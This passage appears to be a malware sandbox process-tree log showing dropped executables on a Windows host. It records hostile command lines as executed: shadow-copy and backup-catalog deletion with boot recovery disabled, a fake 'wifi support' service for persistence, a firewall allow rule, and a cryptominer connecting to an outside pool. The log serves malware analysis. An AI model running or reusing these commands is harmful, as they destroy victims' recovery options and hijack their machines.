    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21508
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22432
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21028
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22792
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23312
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:21864
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22872
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23284
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23460
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23428
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22932
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23692
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23980
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24372
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24572
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:23776
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24288
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24216
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24440
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24420
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:22744
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24664
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25104
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25320
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25556
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24748
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25480
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20692
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:10916
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25564
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24328
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25944
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26200
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26524
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25920
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26408
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25752
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25864
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:25636
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:20404
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:1744
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:9052
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26908
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:27164
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:27440
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26780
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:27200
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:24644
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26888
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26316
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:27072
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:26928
- - C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    C:\Users\Admin\Documents\AdCbXkBlSGkjR3WSoRpVCye2.exe
    3⤵
    PID:18616
- C:\Users\Admin\Documents\msYI4mK4qR1gUUa4I7cLEqmE.exe
  "C:\Users\Admin\Documents\msYI4mK4qR1gUUa4I7cLEqmE.exe"
  2⤵
  - Executes dropped EXE
  PID:368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 476
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4820

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7860
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4388

C:\Users\Admin\AppData\Local\Temp\EE16.exe
C:\Users\Admin\AppData\Local\Temp\EE16.exe
1⤵
PID:4248
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cmuzbyva\
  2⤵
  PID:13676
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fmyluhic.exe" C:\Windows\SysWOW64\cmuzbyva\
  2⤵
  PID:13852
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create cmuzbyva binPath= "C:\Windows\SysWOW64\cmuzbyva\fmyluhic.exe /d\"C:\Users\Admin\AppData\Local\Temp\EE16.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:13984
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description cmuzbyva "wifi internet conection"
  2⤵
  PID:14180
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start cmuzbyva
  2⤵
  PID:14300
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:13448

C:\Windows\SysWOW64\cmuzbyva\fmyluhic.exe
C:\Windows\SysWOW64\cmuzbyva\fmyluhic.exe /d"C:\Users\Admin\AppData\Local\Temp\EE16.exe"
1⤵
PID:11492
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:14064
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:6512

C:\Users\Admin\AppData\Local\Temp\94D7.exe
C:\Users\Admin\AppData\Local\Temp\94D7.exe
1⤵
PID:11924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\94D7.exe"
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:17048

C:\Users\Admin\AppData\Local\Temp\BD20.exe
C:\Users\Admin\AppData\Local\Temp\BD20.exe
1⤵
PID:14004
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spoolsv.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spoolsv.exe" -start
  2⤵
  PID:13936
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spoolsv.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\spoolsv.exe" -agent 0
    3⤵
    PID:17484
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
    3⤵
    PID:17476
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:17736
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
    3⤵
    PID:17468
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:18060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    PID:17460
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:17452
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
    3⤵
    PID:17444
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    PID:17436
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:17976
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe
  2⤵
  PID:5000

C:\Users\Admin\AppData\Local\Temp\DDC9.exe
C:\Users\Admin\AppData\Local\Temp\DDC9.exe
1⤵
PID:13984
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:13432
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:14296
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:2580
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:10012
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:11220
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:12556
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:3024
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:6480
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:14668
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15304
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15972
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16336
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15980
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16116
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16148
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:14400
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:12512
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16712
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:17104
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15944
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16804
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:10792
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:17276
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:14272
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:11672
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:14528
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:17604
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18064
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18284
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:17780
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18304
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15184
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:10008
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:12408
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:17908
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16752
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:17676
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18644
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18920
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19296
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16488
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18868
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19192
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18516
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:4608
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19612
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19948
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20268
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19116
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:7596
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19932
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20304
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18972
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20120
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18276
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:11648
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19892
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19768
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20092
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15880
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19392
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18700
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16416
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15000
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:3116
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20588
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20868
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21140
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21484
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20832
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:13816
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16236
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21104
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:20140
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21440
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18368
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21340
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21516
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21916
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22120
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22256
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:18896
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22044
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22476
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21576
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:1628
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22304
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21512
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16528
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22560
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22848
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23336
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22784
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23256
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:16528
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22956
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23248
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23028
